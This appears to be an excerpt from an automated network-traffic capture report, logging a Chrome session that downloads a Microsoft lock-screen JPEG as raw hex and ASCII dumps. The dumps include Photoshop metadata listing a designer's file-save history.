5c b6 48 0f 32 f3 16 00 1e 1f 2f 99 fb b5 ea 51 da b5 6f 4e 5e 9e 1f 88 d2 da 06 e1 e3 ab 65 7d 34 d1 ec c0 48 c9 b7 66 
d3 7e fc 9f 2a 2f 25 70 de dc bb 93 ff 00 75 db f1 7c a4 
Data Ascii: vCUB'G07:8eTh6e]X9(W\@^0LEo<j$|>/:<SG+$dbywY+ni_^P-Q<+Z[>6e8m'|WVzB8V\H2/QoN^e}4Hf~*/%pu|

2022-05-13 14:42:07 UTC 7996 IN Data Raw: ff 00 c7 5f c5 63 5a fd a7 51 bf 14 c0 b9 8f 34 c2 05 6d a5 c9 b3 5e d7 f2 8e ce ee ee fd 79 77 a5 a7 95 4f b7 
51 51 da 0b 87 9c e0 c3 93 e6 f7 b7 79 2c 48 73 7b 6e 4b 5b 56 e6 4e 4d d5 6b 1e d7 e1 f1 77 7a 46 aa 1b d2 f0 63 c0 86 
5c ec 81 2b 99 48 42 8c c0 95 17 dc 1c db b8 c8 df 87 c2 f5 8b cf ba db 39 76 92 64 e5 fa 7f a3 92 5e 08 5e 7c a6 b3 a8 
95 b6 c6 4b 37 c2 bb ee ba 73 ff 00 86 bd 0f f2 23 b5 ed fc bb 7b a2 90 1c ae af f4 d9 6b 95 d7 e2 0b 34 c6 d0 a4 85 8a 
47 6b ef da 91 ff 00 ab b5 94 2a b2 77 69 3a bc a9 f9 4f 4a f5 ec db ba fe 1e af fd b2 c3 b2 a0 79 e0 1e 66 32 be 3d 83 14 
2b b0 01 f1 88 d8 68 c7 75 72 d1 c3 d2 dc de 2e af c6 64 d3 33 b0 3a a0 80 7d 1a 62 ce f8 0c 3c c5 bd 9b 68 5e 57 96 3d 
c7 95 5d b9 79 ab aa f4 76 53 ba 9e 67 0f aa de 21 
Data Ascii: _cZQ4m^ywOQQy,Hs{nK[VNMkwzFc\+HB9vd^^|K7s#{k4Gk*wi:OJyf2=+hur.d3:}b<h^W=]yvSg!

2022-05-13 14:42:07 UTC 8012 IN Data Raw: 97 6d c3 8f 08 27 5b dc 71 f8 b9 6b 9a f8 dc 45 96 df 84 28 9d 50 1f 53 ea 58 d0 6f 97 39 da 47 07 91 46 a5 89 
1c df 2a 8b f7 ab 5c 58 ad 6d 2a b6 f8 86 ea ed 07 55 d3 b1 72 3d 3d 86 92 61 ca af 9b 99 1f 9a ca a4 95 89 34 db 08 8b 
c5 27 37 3b c9 f8 69 66 69 47 87 a7 77 7a c5 bf f6 d6 87 34 9d 6f 3d 16 7c 57 3b 20 fe 24 81 06 dd 7d e1 6a b6 56 14 76 
fd 42 a5 f7 05 47 e9 e7 f5 2e 5c 51 e4 c9 06 25 d5 de fb 8d 9f 68 b9 f7 ef f0 7c d4 60 b6 c9 55 9b 7c dd c3 2c 30 e6 03 7a 
c7 57 e9 78 99 42 0e 8d 2e d8 e1 84 04 b2 9d 24 bf e6 b3 1f 1f de a8 be 17 64 a7 9a 7a cb c9 6d bc 0a 70 ba 84 3d 41 86 
47 57 56 88 6f f3 19 91 8f e6 37 c4 50 5f 68 ae 7c 98 de 3d 31 f3 69 b7 9b b8 5f 99 3c 0e 96 5f 52 41 d2 33 7c ae 8f 1c 69 
0f 97 e7 4d 93 60 cf 6e 1b 53 77 f0 82 fc 9c ec 
Data Ascii: m'[qkE(PSXo9GF*\Xm*Ur==a4'7;ifiGwz4o=|W; $}jVvBG.\Q%h|`U|,0zWxB.$dzmp=AGWVo7P_h|=1i_<_RA
3|iM`nSw

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:07 UTC 8016 IN Data Raw: ac 59 4b 65 01 4e 81 97 5f 17 2b b8 6a f3 2b 7b 61 ba 6a 76 f5 7b 7c 23 99 32 fa 00 c9 ea 52 b6 66 53 22 43 
14 84 82 c7 bd 2a 8d 65 6f 0b 79 7d ed ab cb e6 57 b9 55 de 7e df 08 93 6c c9 8b 3f 13 1d da 39 32 26 8b 23 2c 89 83 9e 
60 c4 72 a0 75 b5 f6 9f 86 b9 2f 5b df 58 ad eb 8f 90 7b 4e 86 6c 39 26 ce c7 39 44 fd 23 2a 8b a2 8d a4 fc 52 6e ef 33 3f 
ee d7 15 32 d7 6b f1 57 ef fd 26 7f c4 7f 50 f5 04 c3 2b 36 2c aa 4e b7 55 02 e3 e2 b8 15 9e 0a 79 8d a6 bd bb a2 b4 f1 
47 2d d5 7d 23 8d 2c eb d4 3a 42 88 63 90 16 68 fe 6b 72 f9 7f ed de af 4f 1f ac b4 3a 64 d7 f6 fc 45 5a da 49 95 d5 7a 7f 
50 4f 4e 28 cb 55 65 86 46 64 36 05 90 13 b5 91 a4 f1 6f 7d 76 fe f5 7a 98 ed 5d f3 5e ff 00 e2 d0 8b da 74 3a 1c 0e 96 bd 
23 0e 1c de a5 22 c3 92 14 15 68 90 5d 74 e2 36 
Data Ascii: YKeN_+j+{ajv{|#2RfS"C*eoy}WU~l?92&#,`ru/[X{Nl9&9D#*Rn3?2kW&P+6,NUyG-}#,:BchkrO:dEZIzPON(
UeFd6o}vz]^t:#"h]t6

2022-05-13 14:42:07 UTC 8032 IN Data Raw: eb d4 ea d5 3b de 2e f1 be ed 35 29 c8 6c ee 81 20 fa 28 08 c4 80 ea 5c 1b 9d dc cc ed d9 b7 9a 9d 76 67 5c 
cf fd cb f8 4c dd b5 0e ba 75 a5 7c e1 10 f3 6d b0 28 70 ad 6f b5 7b bc 7b be 2a c5 7f b2 d5 67 97 f8 14 71 f9 ab 11 90 74 
ac 68 c2 3a 32 24 96 53 72 4f 8f e7 15 eb e3 98 de de ed d3 b3 f6 91 c5 9d e7 4b e9 f0 e3 6d 89 89 13 bf 78 11 fa 2d a5 
78 59 af 67 f2 d4 71 d8 57 d5 3d 37 27 5c 9f e9 31 5d 94 22 97 22 3d 49 2a 47 1f d1 5d 7e 86 5b e1 ba cf c5 e1 05 59 39 
8e a3 d0 30 ba e4 eb d2 73 96 58 08 dc 39 51 cf 97 61 f0 f0 90 ee e2 cf f8 6b d1 c5 92 d8 1e e6 eb 55 de e1 ed f7 4d 2a 
79 57 a8 fa 14 fd 03 20 e1 c8 0b 23 12 11 ac 01 60 3d a8 0b 57 d2 60 cb 5c d5 dc 8a 75 06 4e a5 95 81 90 65 cd 8d cc 
8e a1 6e e0 86 00 5b 69 4b f8 b6 f7 6a 9e 3a e4 ac 55 fd 
Data Ascii: ;.5)l (\vg\Lu|m(po{{*gqth:2$SrOKmx-xYgqW=7'\1]""=I*G]~[Y90sX9QakUM*yW #`=W`\uNen[iKj:U

2022-05-13 14:42:07 UTC 8048 IN Data Raw: 95 f6 e3 5f 98 c9 1d 46 0f aa e5 e9 31 c9 d4 15 bc d8 27 62 f1 90 b7 06 fa 38 da de 14 ae 3a 62 7b d2 5c b9 
31 f2 db 77 b7 78 e8 a3 83 53 a3 47 1e 6e 3f 99 03 46 b8 8e cd 29 3b 36 0b 9e 21 63 bb 4a ef f2 55 bc 56 cb 77 56 e3 69 
ab d4 86 33 43 90 c5 58 90 52 fa 37 29 b0 f9 4f 0a e0 cb 4b 63 70 60 eb 3a 99 59 d9 d1 4b 9d 14 58 eb e5 cb b4 bc 4c c3 
bc 07 89 77 7b d7 f1 57 46 3a 3a d1 b7 ef e6 8e e8 44 22 18 3e a2 7c e9 e4 6e b0 b2 07 23 6b 16 b8 b0 ef 37 28 03 bc dc 
cf 1a fc bb ab 6f 51 46 d2 75 6a de de dc c3 77 92 ac d5 e9 9d 3c 36 66 04 66 7c 67 05 a5 79 08 58 c0 1e 05 f3 39 8f c8 
8a 2a 69 e6 64 e5 bb d9 75 d1 b7 af f0 fe 22 60 f2 8e a3 9b 0c 99 72 8e 94 1d 0c 4c d2 46 75 be d1 cd cd 5f 53 8e 8d 55 
79 90 f7 72 d8 de a1 bd 1b ae bf 5a c9 6c 8c c6 54 c9 02 
Data Ascii: _F1'b8:b{\1wxSGn?F);6!cJUVwVi3CXR7)OKcp`:YKXLw{WF::D">|n#k7(oQFujw<6ff|gyX9*idu"`rLFu_SUyrZlT

2022-05-13 14:42:07 UTC 8056 IN Data Raw: 6f 6b 64 5f fd 3f 87 bd f4 85 93 60 78 1d 62 14 49 27 7b 34 d2 ca 6c b1 5c b3 f1 8f 9f e1 f9 3e 05 a7 93 0b 6d 
2e ed 6b df ee f7 89 db 06 b4 99 09 12 b4 27 1c 49 0e 3c 6a 5a 35 50 42 df 56 dc cf e1 8d 7c 3f ea 49 53 5c 5a cc f3 5b 
bc 6d 8e a0 1e ad dd 87 0e 17 4e 67 22 4c 96 33 cb 71 62 b6 ee 0d bf 02 2d 6f 85 26 ed 65 cd b6 bb 45 76 d1 85 d3 31 
a0 ea 3d 5f cb 69 77 c2 61 63 24 8b a1 b2 76 06 6e ee ea df 25 9e 3c 73 1d e5 b6 9f 39 35 d3 89 be fd 46 3f 4e a3 8c 43 
1c 62 52 a1 3c c7 0c 76 0b 92 d6 55 e6 2e 7e 5e 5a e7 71 ea 14 45 b4 ea f9 8d 77 28 0d 4c 78 7a a8 86 79 22 44 11 1d 
e0 ba aa 86 bf 77 f2 bb c7 5a e2 6e d8 a5 26 de ee 5e 57 d3 f5 98 cc 1a 7d 50 ff 00 e4 8c 49 14 c9 62 01 55 16 00 5b 94 
39 bf 2e 9c d5 8e 2b ca de fd be 53 44 a1 99 bd 6f d3 0b ea 
Data Ascii: okd_?`xbI'{4l\>m.k'I<jZ5PBV|?IS\Z[mNg"L3qb-o&eEv1=_iwac$vn%<s95F?NCbR<vU.~^ZqEw(Lxzy"DwZ
n&^W}PIbU[9.+SDo

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

99 192.168.2.3 49923 80.67.82.235 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:42:07 UTC 2526 OUT GET /cms/api/am/imageFileData/RWToiE?ver=a25e HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2022-05-13 14:42:07 UTC 2765 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWToiE?ver=a25e
Last-Modified: Mon, 09 May 2022 14:51:28 GMT
X-Source-Length: 1640526
X-Datacenter: northeu
X-ActivityId: 0860034a-289f-4cca-9034-c539d78a8ae9
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 1640526
Cache-Control: public, max-age=86941
Expires: Sat, 14 May 2022 14:51:08 GMT
Date: Fri, 13 May 2022 14:42:07 GMT
Connection: close

2022-05-13 14:42:07 UTC 2765 IN Data Raw: ff d8 ff e1 14 9a 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 
00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 
00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 
00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 
73 29 00 32 30 32 32 3a 30 31 3a 32 38 20 30 39 3a 30 30 3a 32 38 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 
a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 
01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 
Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2022:01:28 09:00:288"
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2022-05-13 14:42:07 UTC 2789 IN Data Raw: 34 37 38 32 41 37 45 36 45 39 22 3e 20 3c 70 68 6f 74 6f 73 68 6f 70 3a 54 65 78 74 4c 61 79 65 72 73 3e 20 
3c 72 64 66 3a 42 61 67 3e 20 3c 72 64 66 3a 6c 69 20 70 68 6f 74 6f 73 68 6f 70 3a 4c 61 79 65 72 4e 61 6d 65 3d 22 ee 
85 9f ee 85 9f 20 20 20 20 20 4c 69 6b 65 20 77 68 61 74 20 79 6f 75 20 73 65 65 3f 22 20 70 68 6f 74 6f 73 68 6f 70 3a 
4c 61 79 65 72 54 65 78 74 3d 22 ee 85 9f ee 85 9f 20 20 20 20 20 4c 69 6b 65 20 77 68 61 74 20 79 6f 75 20 73 65 65 3f 
22 2f 3e 20 3c 72 64 66 3a 6c 69 20 70 68 6f 74 6f 73 68 6f 70 3a 4c 61 79 65 72 4e 61 6d 65 3d 22 2e 2e 2e 22 20 70 68 
6f 74 6f 73 68 6f 70 3a 4c 61 79 65 72 54 65 78 74 3d 22 2e 2e 2e 22 2f 3e 20 3c 72 64 66 3a 6c 69 20 70 68 6f 74 6f 73 
68 6f 70 3a 4c 61 79 65 72 4e 61 6d 65 3d 22 50 61 73 74 
Data Ascii: 4782A7E6E9"> <photoshop:TextLayers> <rdf:Bag> <rdf:li photoshop:LayerName="     Like what you see?" 
photoshop:LayerText="     Like what you see?"/> <rdf:li photoshop:LayerName="..." photoshop:LayerText="..."/> <rdf:li 
photoshop:LayerName="Past

2022-05-13 14:42:07 UTC 2821 IN Data Raw: 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 31 3a 30 
34 3a 33 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 
53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 73 
68 75 74 74 65 72 73 74 6f 63 6b 5f 33 39 31 31 31 39 32 35 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 6
5 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 31 3a 30 36 3a 30 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 
6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 
5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 47 65 
Data Ascii: x1920.jpg saved&#xA;2016-07-26T11:04:36-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\
Edge-Lifestyle_shutterstock_391119256_1080x1920.jpg saved&#xA;2016-07-26T11:06:09-07:00&#x9;File C:\Users\v-li
zagh\MS\Windows10\Edge\_Crops\Edge-Lifestyle_Ge

2022-05-13 14:42:07 UTC 2839 IN Data Raw: 37 54 31 32 3a 30 32 3a 33 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 
5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 
30 37 2d 32 37 54 31 32 3a 32 35 3a 31 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 
76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 2d 47 61 72 64 65 6e 61 50 61 73 73 49 
74 61 6c 79 5c 43 72 6f 70 73 5c 42 69 6e 67 2d 61 67 65 5f 49 42 4b 2d 34 30 39 30 31 35 38 5f 31 30 38 30 78 31 39 32 
30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 37 54 31 32 3a 32 37 3a 33 37 2d 30 37 3a 
30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 
Data Ascii: 7T12:02:36-07:00&#x9;File Lockscreen_1080x1920_Portrait.psd opened&#xA;2016-07-27T12:25:14-07:00&#
x9;File C:\Users\v-lizagh\MS\Windows10\Bing-GardenaPassItaly\Crops\Bing-age_IBK-4090158_1080x1920.jpg saved&#x
A;2016-07-27T12:27:37-07:00&#x9;File C:\Users\v

2022-05-13 14:42:07 UTC 3014 IN Data Raw: 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 
77 73 31 30 5c 52 65 67 69 73 74 65 72 54 6f 56 6f 74 65 5c 52 65 67 69 73 74 65 72 54 6f 56 6f 74 65 5f 53 70 6f 74 6c 
69 67 68 74 5f 31 30 38 30 78 31 39 32 30 2d 47 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 
31 32 54 31 30 3a 33 35 3a 34 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 
69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 
68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 52 65 67 69 73 74 65 72 54 6f 56 6f 74 
65 5f 53 70 6f 74 6c 69 67 68 74 5f 31 30 38 30 78 31 39 32 30 
Data Ascii: &#x9;File C:\Users\v-lizagh\MS\Windows10\RegisterToVote\RegisterToVote_Spotlight_1080x1920-G.jpg s
aved&#xA;2016-09-12T10:35:44-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 
2015.5\AutoRecover\_RegisterToVote_Spotlight_1080x1920

2022-05-13 14:42:07 UTC 3046 IN Data Raw: 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 
6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 53 75 72 67 65 5c 57 65 62 4e 6f 74 65 73 2d 50 72 6f 64 75 63 74 69 76 69 74 79 
5c 45 64 67 65 53 75 72 67 65 2d 57 65 62 4e 6f 74 65 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 32 35 37 33 39 
33 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 37 54 31 
38 3a 34 33 3a 30 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 
68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 53 75 72 67 65 5c 57 65 62 4e 6f 74 65 73 2d 50 72 6f 64 75 
63 74 69 76 69 74 79 5c 45 64 67 65 53 75 72 67 65 2d 57 65 62 4e 6f 
Data Ascii: 00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\Surge\WebNotes-Productivity\EdgeSurge-WebNotes_Get
tyImages-172573930_1080x1920.jpg saved&#xA;2016-10-17T18:43:04-07:00&#x9;File C:\Users\v-lizagh\MS\W
indows10\Edge\Surge\WebNotes-Productivity\EdgeSurge-WebNo

2022-05-13 14:42:07 UTC 3117 IN Data Raw: 65 72 74 61 69 6e 6d 65 6e 74 5c 52 41 57 53 5c 5f 43 48 4f 53 45 4e 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 
74 65 72 74 61 69 6e 6d 65 6e 74 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 34 39 36 38 35 32 30 37 5f 31 30 38 30 78 
31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 36 54 30 38 3a 33 37 3a 34 30 2d 
30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 
64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 
20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 36 54 30 38 3a 34 35 3a 30 31 2d 30 38 3a 30 30 26 23 78 
39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 
Data Ascii: ertainment\RAWS\_CHOSEN\MIT-WinterEntertainment_GettyImages-649685207_1080x1920.jpg save
d&#xA;2016-11-16T08:37:40-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd save
d&#xA;2016-11-16T08:45:01-08:00&#x9;File Lockscreen_1080x

2022-05-13 14:42:07 UTC 3173 IN Data Raw: 78 41 3b 32 30 31 37 2d 30 31 2d 32 30 54 31 32 3a 31 38 3a 34 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 
6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 
74 73 49 6e 54 69 6d 65 5c 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 46 65 62 72 75 61 72 79 5c 4f 5
3 43 41 52 53 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 
6e 74 2d 4f 73 63 61 72 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 37 37 38 38 35 31 38 32 5f 31 30 38 30 78 31 39 
32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 32 30 54 31 32 3a 32 33 3a 33 35 2d 30 38 
3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 
Data Ascii: xA;2017-01-20T12:18:45-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WinterEntertain
ment\February\OSCARS\CHOSEN\Crops\MIT-WinterEntertainment-Oscars_GettyImages-477885182_1080x1920.jpg 
saved&#xA;2017-01-20T12:23:35-08:00&#x9;File C:\Users\v-

2022-05-13 14:42:07 UTC 3205 IN Data Raw: 32 30 31 37 2d 30 32 2d 32 33 54 30 39 3a 35 30 3a 32 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 
43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 
41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 45 
64 67 65 2d 4e 41 41 45 45 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 34 39 34 32 33 30 32 34 5f 31 30 38 30 78 31 39 
32 30 30 36 38 31 44 43 35 34 33 30 39 45 43 35 39 41 44 41 33 45 37 35 31 41 43 38 42 32 35 44 46 38 2e 70 73 62 20 
73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 33 54 30 39 3a 35 33 3a 34 36 2d 30 38 3a 30 30 26 23 78 39 
3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 
Data Ascii: 2017-02-23T09:50:25-08:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015
.5\AutoRecover\_Edge-NAAEE_GettyImages-149423024_1080x19200681DC54309EC59ADA3E751AC8B25DF8.psb 
saved&#xA;2017-02-23T09:53:46-08:00&#x9;File C:\Users\v-lizagh
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2022-05-13 14:42:07 UTC 3610 IN Data Raw: 6b 50 65 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 39 30 33 33 33 31 39 5f 31 30 38 30 78 31 39 32 30 
2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 31 35 54 31 36 3a 32 32 3a 30 34 2d 30 37 3a 30 
30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 
31 30 5c 53 75 72 66 61 63 65 5c 49 6e 6b 50 65 6e 5c 43 48 4f 53 45 4e 5c 53 75 72 66 61 63 65 2d 49 6e 6b 50 65 6e 5
f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 34 33 33 34 35 36 38 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 
65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 31 35 54 31 36 3a 32 33 3a 35 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 
6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 
Data Ascii: kPen_GettyImages-509033319_1080x1920.jpg saved&#xA;2017-03-15T16:22:04-07:00&#x9;File C:\Users\v-l
izagh\MS\Windows10\Surface\InkPen\CHOSEN\Surface-InkPen_GettyImages-543345687_1080x1920.jpg saved&#x
A;2017-03-15T16:23:52-07:00&#x9;File C:\Users\v-lizagh\Ap

2022-05-13 14:42:07 UTC 3681 IN Data Raw: 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 45 6d 70 6f 77 65 72 69 6e 67 54 6f 6f 
6c 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 39 34 39 39 39 30 39 34 5f 31 30 38 30 78 31 39 32 30 37 43 42 32 42 34 
30 36 35 35 31 45 39 36 32 38 35 46 41 38 36 34 37 45 43 45 31 45 34 45 36 32 2e 70 73 62 20 73 61 76 65 64 26 23 78 
41 3b 32 30 31 37 2d 30 34 2d 31 38 54 31 31 3a 30 34 3a 35 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 
5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 45 
6d 70 6f 77 65 72 69 6e 67 43 6c 61 73 73 72 6f 6f 6d 54 6f 6f 6c 73 5c 43 48 4f 53 45 4e 5c 45 6d 70 6f 77 65 72 69 6e 
67 54 6f 6f 6c 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 38 
Data Ascii:  CC 2015.5\AutoRecover\_EmpoweringTools_GettyImages-94999094_1080x19207CB2B406551E96285F
A8647ECE1E4E62.psb saved&#xA;2017-04-18T11:04:59-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Micro
soft\EmpoweringClassroomTools\CHOSEN\EmpoweringTools_GettyImages-68

2022-05-13 14:42:07 UTC 3713 IN Data Raw: 45 4e 5c 43 72 6f 70 73 5c 4c 69 6e 6b 65 64 49 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 34 31 32 32 39 
30 39 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 35 54 
31 35 3a 33 35 3a 35 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 
67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 
74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 35 54 31 35 3a 35 33 3a 30 32 
2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 
6e 64 6f 77 73 31 30 5c 4d 61 74 74 52 65 71 75 65 73 74 5c 4c 69 6e 
Data Ascii: EN\Crops\LinkedIn_GettyImages-641229091_1080x1920.jpg saved&#xA;2017-05-15T15:35:55-07:0
0&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved&#xA;2017-05-15T15:53:02-07:0
0&#x9;File C:\Users\v-lizagh\MS\Windows10\MattRequest\Lin

2022-05-13 14:42:07 UTC 3801 IN Data Raw: 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 6b 61 69 6c 61 5c 43 68 6f 73 65 6e 5c 43 72 
6f 70 73 5c 4d 53 2d 4d 69 6b 61 69 6c 61 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 35 34 37 37 30 33 33 39 5f 31 30 
